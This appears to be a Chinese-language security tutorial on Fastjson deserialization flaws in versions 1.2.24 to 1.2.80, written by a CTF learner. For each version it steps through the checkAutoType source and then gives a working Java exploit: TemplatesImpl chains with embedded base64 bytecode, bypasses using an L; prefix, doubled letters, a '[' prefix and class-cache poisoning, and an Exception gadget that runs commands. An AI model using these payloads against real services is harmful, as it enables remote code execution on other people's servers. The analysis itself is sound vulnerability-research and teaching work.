版本:jdk8u25
依赖:fastjson的各个版本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <dependencies> <!-- <dependency>--> <!-- <groupId>com.alibaba</groupId>--> <!-- <artifactId>fastjson</artifactId>--> <!-- <version>1.2.24</version>--> <!-- </dependency>--> <!-- <dependency>--> <!-- <groupId>com.alibaba</groupId>--> <!-- <artifactId>fastjson</artifactId>--> <!-- <version>1.2.25</version>--> <!-- </dependency>--> <!-- <dependency>--> <!-- <groupId>com.alibaba</groupId>--> <!-- <artifactId>fastjson</artifactId>--> <!-- <version>1.2.42</version>--> <!-- </dependency>--> <!-- <dependency>--> <!-- <groupId>com.alibaba</groupId>--> <!-- <artifactId>fastjson</artifactId>--> <!-- <version>1.2.43</version>--> <!-- </dependency>--> <!-- <dependency>--> <!-- <groupId>com.alibaba</groupId>--> <!-- <artifactId>fastjson</artifactId>--> <!-- <version>1.2.47</version>--> <!-- </dependency>--> <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.80</version> </dependency> </dependencies>
上面的依赖,用哪个就把哪个的注释删掉,其他的注释
Java反序列化Fastjson详解 前置知识 反序列化 正常fastjson用两个函数反序列化字符串,分别是parse(String text)和parseObject(String text)他们两个的反序列化流程基本相同
都会在text中解析字符串获取@type指定的类并实例化,这里我会做个对比
1 2 3 4 5 6 7 | JSON.parse(String text) | JSON.parseObject(String text) 返回值类型 | Object | JSONObject 是否使用@type实例化目标类 | 是,会解析@type并反射实例化类 | 是,解析逻辑与上相同 是否调用目标类的setter方法 | 是,用于给字段赋值 | 是,同样会反序列化赋值 是否调用目标类的getter方法 | 否,仅仅创建对象赋值,不取值 | 是,调用toJSON()强制转化成JSONObject时会触发getter 是否依赖JavaBean函数命名规范 | 是 | 是 作用 | 动态解析JSON内容,不关心类型 | 将JSON强转为JSONObject使用
JavaBean的函数命名规范是什么呢
同时在com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch()实现了忽略_,|,-字符
意思是即使你的属性名叫n_a|m-e,它仍然会调用setName或getName
同时fastjson在反序列化时,如果参数类型为byte[]时,将会进行base64解码,对应的,在序列化时也会进行base64编码。
当然,如果在反序列化的时候遇到了没有setter方法的参数,fastjson提供了一个参数:Feature.SupportNonPublicField
加上这个参数后没有setter方法的参数会被反射赋值
序列化 这没什么可以长篇大论的,调用JSON.toJSONString(Object object)函数即可,如果想反序列化为AutoType,就加上SerializerFeature.WriteClassName参数
有一点需要注意一下的,在序列化类至json的时候需要调用getter方法获取参数,有时候这会提前触发链子
我们可以写个小测试
test.java 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 package test; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONObject; import com.alibaba.fastjson.serializer.SerializerFeature; import java.io.Serializable; public class test { public static class User implements Serializable { public String name; public User(){ } public User(String name){ this.name=name; } public String getName() throws Exception{ System.out.print("getter down"); return this.name; } public void setName(String name){ System.out.print("setter down"); } } public static void main(String[] args) { User user=new User("Nebu1ea"); String json=JSON.toJSONString(user, SerializerFeature.WriteClassName); System.out.print('\n'+json+'\n'); Object jsonObject=JSON.parse(json); System.out.print('\t'+"parse complete"+'\n'); Object jsonObject1=JSONObject.parseObject(json); System.out.print('\t'+"parseObject complete"); } }
漏洞解析 fastjson1.2.24 就如前置知识里说道,parseObject会调用setter和getter函数,我们可以用它触发之前讲过的TemplateImp链子,因为TemplateImp里面有没有getter方法的函数,所以往往要手动序列化,还需注意一点,fastjson是getter触发,不经过readObject,所以_tfactory参数必须带上
fastjson1_2_24.java 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 package test; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Base64; public class fastjson1_2_24 { public static void main(String[] args) throws Exception{ byte[] bytes = Files.readAllBytes(Paths.get("D:\\WebSecurity\\CTF\\JAVA\\反序列化学习\\templateImpTest\\src\\main\\java\\test\\evil.class")); String payload= Base64.getEncoder().encodeToString(bytes); String jsonString="{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," + "\"_bytecodes\":[\""+payload+"\"]," + "\"_name\": \"Nebu1ea\","+ "\"_outputProperties\":{},_tfactory:{}}\n"; System.out.print(jsonString); Object jsonObject = JSON.parseObject(jsonString, Feature.SupportNonPublicField); } }
具体payload为
1 {"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAJwoACAAXCgAYABkIABoKABgAGwcAHAoABQAdBwAeBwAfAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACkV4Y2VwdGlvbnMHACABAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIPGNsaW5pdD4BAA1TdGFja01hcFRhYmxlBwAcAQAKU291cmNlRmlsZQEACWV2aWwuamF2YQwACQAKBwAhDAAiACMBAARjYWxjDAAkACUBABNqYXZhL2lvL0lPRXhjZXB0aW9uDAAmAAoBAARldmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAgAAAAAAAQAAQAJAAoAAQALAAAAHQABAAEAAAAFKrcAAbEAAAABAAwAAAAGAAEAAAAJAAEADQAOAAIACwAAABkAAAADAAAAAbEAAAABAAwAAAAGAAEAAAAOAA8AAAAEAAEAEAABAA0AEQACAAsAAAAZAAAABAAAAAGxAAAAAQAMAAAABgABAAAAEwAPAAAABAABABAACAASAAoAAQALAAAATwACAAEAAAASuAACEgO2AARXpwAISyq2AAaxAAEAAAAJAAwABQACAAwAAAAWAAUAAAAXAAkAGgAMABgADQAZABEAGwATAAAABwACTAcAFAQAAQAVAAAAAgAW"],"_name": "Nebu1ea","_outputProperties":{},_tfactory:{}}
当然,所有能通过setter和getter触发的链子全都可以用,这只是做个示范
fastjson1.2.25 影响的版本为1.2.25->1.2.41,只拿出1.2.25来列举
在这些版本中官方引入了checkAutoType安全机制,有个autoTypeSupport参数控制反序列化,有什么用呢,我们直接定位到com.alibaba.fastjson.parser.ParserConfig这个类
这两个参数,denyList是黑名单集合,默认有很多,另外一个acceptList是白名单,默认为空,我们接着步入判断函数checkAutoType
checkAutoType 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 public Class<?> checkAutoType(String typeName, Class<?> expectClass) { if (typeName == null) { return null; } final String className = typeName.replace('$', '.'); if (autoTypeSupport || expectClass != null) { for (int i = 0; i < acceptList.length; ++i) { String accept = acceptList[i]; if (className.startsWith(accept)) { return TypeUtils.loadClass(typeName, defaultClassLoader); } } for (int i = 0; i < denyList.length; ++i) { String deny = denyList[i]; if (className.startsWith(deny)) { throw new JSONException("autoType is not support. " + typeName); } } } Class<?> clazz = TypeUtils.getClassFromMapping(typeName); if (clazz == null) { clazz = deserializers.findClass(typeName); } if (clazz != null) { if (expectClass != null && !expectClass.isAssignableFrom(clazz)) { throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName()); } return clazz; } if (!autoTypeSupport) { for (int i = 0; i < denyList.length; ++i) { String deny = denyList[i]; if (className.startsWith(deny)) { throw new JSONException("autoType is not support. " + typeName); } } for (int i = 0; i < acceptList.length; ++i) { String accept = acceptList[i]; if (className.startsWith(accept)) { clazz = TypeUtils.loadClass(typeName, defaultClassLoader); if (expectClass != null && expectClass.isAssignableFrom(clazz)) { throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName()); } return clazz; } } } if (autoTypeSupport || expectClass != null) { clazz = TypeUtils.loadClass(typeName, defaultClassLoader); } if (clazz != null) { if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger || DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver ) { throw new JSONException("autoType is not support. " + typeName); } if (expectClass != null) { if (expectClass.isAssignableFrom(clazz)) { return clazz; } else { throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName()); } } } if (!autoTypeSupport) { throw new JSONException("autoType is not support. " + typeName); } return clazz; }
先获取反序列化的类名,将类名中的’$’转化成’.’
判断autoTypeSupport是否为True,是则先判断是不是在白名单中,是则直接调用loadClass加载类,再判断是不是再黑名单中,是则抛出异常
上面条件不成立的情况下调用clazz=TypeUtils.getClassFromMapping(typeName);获取内部的mapping是否储存着对象,是则返回对象,否则null,正常都是null
接着如果clazz还是null,就调用自定义的deserializers的findClass加载这个类,加载出来了就返回,没有就null
接着判断autoTypeSupport是否为False,是则直接用黑名单判断
接着往下,如果autoTypeSupport为True或者expectClass != null任意一个成立,就调用loadClass加载类,我们进入loadClass查看内部逻辑:
loadClass 这一段是最重要的部分,因为太长了,只截了这一段
1 2 3 4 5 6 7 8 9 if (className.charAt(0) == '[') { Class<?> componentType = loadClass(className.substring(1), classLoader); return Array.newInstance(componentType, 0).getClass(); } if (className.startsWith("L") && className.endsWith(";")) { String newClassName = className.substring(1, className.length() - 1); return loadClass(newClassName, classLoader); }
如果类名第一位是’[‘就去掉第一个’[‘后再次调用loadClass并存储再Array实例中返回
如果类名是L开始开始同时是;结束的就递归去掉头尾最后加载,那么我们就有思路了
在反序列化的类名前面加上L,后面加上;就可以绕过黑名单进入loadClass,前提是autoTypeSupport要为True
那么做个小测试
fastjson1_2_25.java 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 package test; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; import com.alibaba.fastjson.parser.ParserConfig; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Base64; public class fastjson1_2_25 { public static void main(String[] args) throws Exception{ byte[] bytes = Files.readAllBytes(Paths.get("D:\\WebSecurity\\CTF\\JAVA\\反序列化学习\\templateImpTest\\src\\main\\java\\test\\evil.class")); String payload= Base64.getEncoder().encodeToString(bytes); String jsonString="{\"@type\":\"Lcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;\"," + "\"_bytecodes\":[\""+payload+"\"]," + "\"_name\": \"Nebu1ea\","+ "\"_outputProperties\":{},_tfactory:{}}\n"; System.out.print(jsonString); ParserConfig.getGlobalInstance().setAutoTypeSupport(true); Object jsonObject = JSON.parseObject(jsonString, Feature.SupportNonPublicField); } }
fastjson1.2.42 影响版本是1.2.25->1.2.42,在1.2.42这个版本的checkAutoType在黑白名单判断之前加上了这么个代码
1 2 3 4 5 6 7 8 9 10 11 12 final long BASIC = 0xcbf29ce484222325L; final long PRIME = 0x100000001b3L; if ((((BASIC ^ className.charAt(0)) * PRIME) ^ className.charAt(className.length() - 1)) * PRIME == 0x9198507b5af98f0L) { className = className.substring(1, className.length() - 1); }
截取className的第一个字符和BASIC异或并乘以PRIME,结果再和className的最后一个字符异或并乘以PRIME,如果结果是0x9198507b5af98f0L就去除头尾字符
说人话就是判断头尾字符是不是为L和;,是则率先去除
而且这个版本往后的所有黑白名单判断都是用hash判断的,非常难看
那么话接回来,提前去除是没有用的,因为最后的loadClass是递归去除头尾的,我们只需要双写或多写就能绕过
fastjson1_2_42.java 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 package test; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; import com.alibaba.fastjson.parser.ParserConfig; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Base64; public class fastjson1_2_42 { public static void main(String[] args) throws Exception{ byte[] bytes = Files.readAllBytes(Paths.get("D:\\WebSecurity\\CTF\\JAVA\\反序列化学习\\templateImpTest\\src\\main\\java\\test\\evil.class")); String payload= Base64.getEncoder().encodeToString(bytes); String jsonString="{\"@type\":\"LLcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;;\"," + "\"_bytecodes\":[\""+payload+"\"]," + "\"_name\": \"Nebu1ea\","+ "\"_outputProperties\":{},_tfactory:{}}\n"; System.out.print(jsonString); ParserConfig.getGlobalInstance().setAutoTypeSupport(true); Object jsonObject = JSON.parseObject(jsonString, Feature.SupportNonPublicField); } }
fastjson1.2.43 影响版本是1.2.25->1.2.43,这个版本的checkAutoType函数对头尾的判断变成了这样:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 if ((((BASIC ^ className.charAt(0)) * PRIME) ^ className.charAt(className.length() - 1)) * PRIME == 0x9198507b5af98f0L) { if ((((BASIC ^ className.charAt(0)) * PRIME) ^ className.charAt(1)) * PRIME == 0x9195c07b5af5345L) { throw new JSONException("autoType is not support. " + typeName); } // 9195c07b5af5345 className = className.substring(1, className.length() - 1); }
判断className头尾是否是L和;,如果是则判断第一个字符和第二个字符是否为LL,是则抛出异常,那么双写绕过就不能用了,堵死了这条路,但是在25的分析中我讲到过这一段代码:
1 2 3 4 if(className.charAt(0) == '['){ Class<?> componentType = loadClass(className.substring(1), classLoader); return Array.newInstance(componentType, 0).getClass(); }
对首字母为[的情况下仍然有处理,这个也是能利用的,不过我没调试出具体逻辑,直接看exp
fastjson1_2_43.java 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 package test; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; import com.alibaba.fastjson.parser.ParserConfig; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Base64; public class fastjson1_2_43 { public static void main(String[] args) throws Exception{ byte[] bytes = Files.readAllBytes(Paths.get("D:\\WebSecurity\\CTF\\JAVA\\反序列化学习\\templateImpTest\\src\\main\\java\\test\\evil.class")); String payload= Base64.getEncoder().encodeToString(bytes); String jsonString="{\"@type\":\"[com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"[,{" + "\"_bytecodes\":[\""+payload+"\"]," + "\"_name\": \"Nebu1ea\","+ "\"_outputProperties\":{},_tfactory:{}}\n"; System.out.print(jsonString); ParserConfig.getGlobalInstance().setAutoTypeSupport(true); Object jsonObject = JSON.parseObject(jsonString, Feature.SupportNonPublicField); } }
fastjson1.2.47 漏洞点还是在checkAutoType中:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 if (clazz == null) { clazz = TypeUtils.getClassFromMapping(typeName); } if (clazz == null) { clazz = deserializers.findClass(typeName); } // 如果找到了对应的 class,则会进行 return if (clazz != null) { if (expectClass != null && clazz != java.util.HashMap.class && !expectClass.isAssignableFrom(clazz)) { throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName()); } return clazz; }
这段代码在判断AutoTypeSupport为False之前,为True
意思是从TypeUtils.mappings和deserializers中尝试查找要反序列化的类,如果找到了,则就会return
deserializers是这样赋值的:private final IdentityHashMap<Type, ObjectDeserializer> deserializers = new IdentityHashMap<Type, ObjectDeserializer>();
是个IdentityHashMap的实例,findClass是从实例中的buckets属性中获取类,而buckets只有这一个赋值
1 2 3 4 public IdentityHashMap(int tableSize){ this.indexMask = tableSize - 1; this.buckets = new Entry[tableSize]; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public boolean put(K key, V value) { final int hash = System.identityHashCode(key); final int bucket = hash & indexMask; for (Entry<K, V> entry = buckets[bucket]; entry != null; entry = entry.next) { if (key == entry.key) { entry.value = value; return true; } } Entry<K, V> entry = new Entry<K, V>(key, value, hash, buckets[bucket]); buckets[bucket] = entry; // 并发是处理时会可能导致缓存丢失,但不影响正确性 return false; }
这是我们不可控的,那只能看看TypeUtils.mappings可不可控
mappings是:private static ConcurrentMap<String,Class<?>> mappings = new ConcurrentHashMap<String,Class<?>>(16, 0.75f, 1);
ConcurrentMap实例,而loadClass函数恰巧有给mappings赋值的代码,我们可以查看
loadClass for mapping 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 if(className == null || className.length() == 0){ return null; } Class<?> clazz = mappings.get(className); if(clazz != null){ return clazz; } if(className.charAt(0) == '['){ Class<?> componentType = loadClass(className.substring(1), classLoader); return Array.newInstance(componentType, 0).getClass(); } if(className.startsWith("L") && className.endsWith(";")){ String newClassName = className.substring(1, className.length() - 1); return loadClass(newClassName, classLoader); } try{ if(classLoader != null){ clazz = classLoader.loadClass(className); if (cache) { mappings.put(className, clazz); } return clazz; } } catch(Throwable e){ e.printStackTrace(); // skip }
先从mapping里取Class,如果mappings里面没有同时类名正常,就会用输入的classloader加载类,加载完再判断输入的cache是否为ture,是则把加载过的class放到mappings中
那我们得寻找谁调用了loadClass或是它的重载函数,而且是要原本在mapping或deserializers本身就有的,我们可以定位到
com.alibaba.fastjson.serializer.MiscCodec这个类,在ParserConfig中我们可以看到他被加入进了deserializers
我们定位到它的deserialze函数,这个函数在被反序列化时会被调用,而它内部的中有这么一段代码
如果clazz是Class.class,就调用loadClass,参数为strVal,以及后面的类加载器,那如果这个strVal是我们的恶意类,就能直接写到mappings里面去
我们查看strVal的赋值,可以看到:
1 2 3 4 5 6 String strVal; if (objVal == null) { strVal = null; } else if (objVal instanceof String) { strVal = (String) objVal;
如果objVal是String的实例,就让strVal等于这个
我们再看objVal是哪来的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 Object objVal; if (parser.resolveStatus == DefaultJSONParser.TypeNameRedirect) { parser.resolveStatus = DefaultJSONParser.NONE; parser.accept(JSONToken.COMMA); if (lexer.token() == JSONToken.LITERAL_STRING) { if (!"val".equals(lexer.stringVal())) { throw new JSONException("syntax error"); } lexer.nextToken(); } else { throw new JSONException("syntax error"); } parser.accept(JSONToken.COLON); objVal = parser.parse(); parser.accept(JSONToken.RBRACE); } else { objVal = parser.parse(); }
如果当前状态是DefaultJSONParser.TypeNameRedirect,说明已经先解析了AutoType(‘@type’:’….’)
然后清空状态,获取token,如果当前token不为’,’则抛出报错,接着判断当前元素是否为val,不为则抛出报错
如果是val的话就把val对应的值复制给objVal,那么就很完美了,我们可控
现在可能有点混乱,我们整理一下
我们如果传入
1 2 3 4 { "@type": "java.lang.Class", "val": "User" }
他会先通过deserializers.findClass(“java.lang.Class”);找到MiscCodec类,然后调用deserialize函数
在deserialize函数中会获取val的值,也就是”User”,赋值为objVal,又因为objVal为String,传递给了strVal
再获取clazz,也就是我们的java.lang.Class
最后调用TypeUtils.loadClass(“User”,parser.getConfig().getDefaultClassLoader()),将我们的User加到mapppings里面去,下一次反序列化时就能直接调用
那么上exp:
fastjson1_2_47.java 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 package test; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; import com.alibaba.fastjson.parser.ParserConfig; import com.alibaba.fastjson.util.TypeUtils; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Base64; public class fastjson1_2_47 { public static void main(String[] args) throws Exception{ byte[] bytes = Files.readAllBytes(Paths.get("D:\\WebSecurity\\CTF\\JAVA\\反序列化学习\\templateImpTest\\src\\main\\java\\test\\evil.class")); String payload= Base64.getEncoder().encodeToString(bytes); String jsonString= "{" + "\"1\":" + "{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"}," + "\"2\":" + "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," + "\"_bytecodes\":[\""+payload+"\"]," + "\"_name\": \"Nebu1ea\","+ "\"_outputProperties\":{},_tfactory:{}}"+ "}"; System.out.print(jsonString); ParserConfig.getGlobalInstance().setAutoTypeSupport(true); Object jsonObject = JSON.parseObject(jsonString, Feature.SupportNonPublicField); } }
具体payload为:{"1":{"@type":"java.lang.Class","val":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"},"2":{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAJwoACAAXCgAYABkIABoKABgAGwcAHAoABQAdBwAeBwAfAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACkV4Y2VwdGlvbnMHACABAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIPGNsaW5pdD4BAA1TdGFja01hcFRhYmxlBwAcAQAKU291cmNlRmlsZQEACWV2aWwuamF2YQwACQAKBwAhDAAiACMBAARjYWxjDAAkACUBABNqYXZhL2lvL0lPRXhjZXB0aW9uDAAmAAoBAARldmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAgAAAAAAAQAAQAJAAoAAQALAAAAHQABAAEAAAAFKrcAAbEAAAABAAwAAAAGAAEAAAAJAAEADQAOAAIACwAAABkAAAADAAAAAbEAAAABAAwAAAAGAAEAAAAOAA8AAAAEAAEAEAABAA0AEQACAAsAAAAZAAAABAAAAAGxAAAAAQAMAAAABgABAAAAEwAPAAAABAABABAACAASAAoAAQALAAAATwACAAEAAAASuAACEgO2AARXpwAISyq2AAaxAAEAAAAJAAwABQACAAwAAAAWAAUAAAAXAAkAGgAMABgADQAZABEAGwATAAAABwACTAcAFAQAAQAVAAAAAgAW"],"_name": "Nebu1ea","_outputProperties":{}},_tfactory:{}}
fastjson1.2.80 影响版本: fastjson <= 1.2.80
在1.2.80这个版本,作者修复了1.2.47的漏洞,loadClass的重载方法的默认的调用改为不缓存类,这就导致了不能用之前方法反序列化类了
除此之外,作者还加上了SafeMode机制,打开了这个参数,任何AutoType的反序列化都会抛出异常
但还是有漏洞,还是在checkAutoType()中,我们直接看漏洞代码,在AutoTypeSupport为False的后面(所以前提是不在黑名单内)
1 2 3 4 5 6 7 8 if (expectClass != null) { if (expectClass.isAssignableFrom(clazz)) { TypeUtils.addMapping(typeName, clazz); return clazz; } else { throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName()); } }
如果expectClass不为null,clazz是expectClass的子类的话就返回clazz,我们现在查找谁调用了checkAutoValue并expectClass不为空
我们可以找到ThrowableDeserializer#deserialze()这个函数,它中间有这么一行代码:
1 2 3 4 5 6 7 8 9 10 lexer.nextTokenWithColon(JSONToken.LITERAL_STRING); if (JSON.DEFAULT_TYPE_KEY.equals(key)) { if (lexer.token() == JSONToken.LITERAL_STRING) { String exClassName = lexer.stringVal(); exClass = parser.getConfig().checkAutoType(exClassName, Throwable.class, lexer.getFeatures()); } else { throw new JSONException("syntax error"); } lexer.nextToken(JSONToken.COMMA); }
先去除当前token,一般是”,”,意思是要解析下一个属性了,然后假如下一个key是@type,就会判断@type的下一个token是不是”:”,是则获取冒号后面的属性并调用checkAutoType(exClassName, Throwable.class, lexer.getFeatures())
此时只要保证exClassName不在黑名单内,并且是Throwable的子类即可成功绕过检测返回,然后在当前函数的最后会实例化并调用setter函数
大概思路就是这样,那么还有一个问题,该这么获取ThrowableDeserializer这个类?
我们可以定位到DefaultJSONParser.java的parseObject函数的这一部分
1 2 3 4 5 6 7 8 9 10 11 ObjectDeserializer deserializer = config.getDeserializer(clazz); Class deserClass = deserializer.getClass(); if (JavaBeanDeserializer.class.isAssignableFrom(deserClass) && deserClass != JavaBeanDeserializer.class && deserClass != ThrowableDeserializer.class) { this.setResolveStatus(NONE); } else if (deserializer instanceof MapDeserializer) { this.setResolveStatus(NONE); } Object obj = deserializer.deserialze(this, clazz, fieldName); return obj;
这一部分是通过clazz获取反序列化器,如果clazz是异常类,就会返回ThrowableDeserializer这个反序列化器,而恰好后面又调用了deserialze函数
clazz是啥呢?是json的第一个@type对应的值,我们只需要保证他能过第一次的checkAutoType就行了
那我们可以找到这个类”java.lang.Exception”,他在mapping中,可以顺利返回
那么到此为止就顺理成章了,第一次先解析 “@type”:”java.lang.Exception”,会返回一个ThrowableDeserializer并向后继续解析剩下的json
后面我们直接接上恶意类就行了,接下来看exp,我的恶意类是自己写的,好调试一点
fastjson1_2_80.java 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 package test; import com.alibaba.fastjson.JSON; public class fastjson1_2_80 { public static class ExecpetionTest extends Exception{ String name; public void setName(String s) throws Exception{ Runtime.getRuntime().exec(s); } public ExecpetionTest(){ } } public static void main(String[] args) { String payload="{\"@type\":\"java.lang.Exception\",\"@type\":\"test.fastjson1_2_80$ExecpetionTest\",\"name\":\"calc\"}"; JSON.parseObject(payload); } }
具体payload为:{"@type":"java.lang.Exception","@type":"test.fastjson1_2_80$ExecpetionTest","name":"calc"}
结语 做个小结吧,因为代码审计能力还不够,只能跳着看,主要是没有耐心几百行几百行的审计代码
难度算是很高了我觉得,想要全部理解得花费十分大的精力以及时间
就此结束,Ciallo~~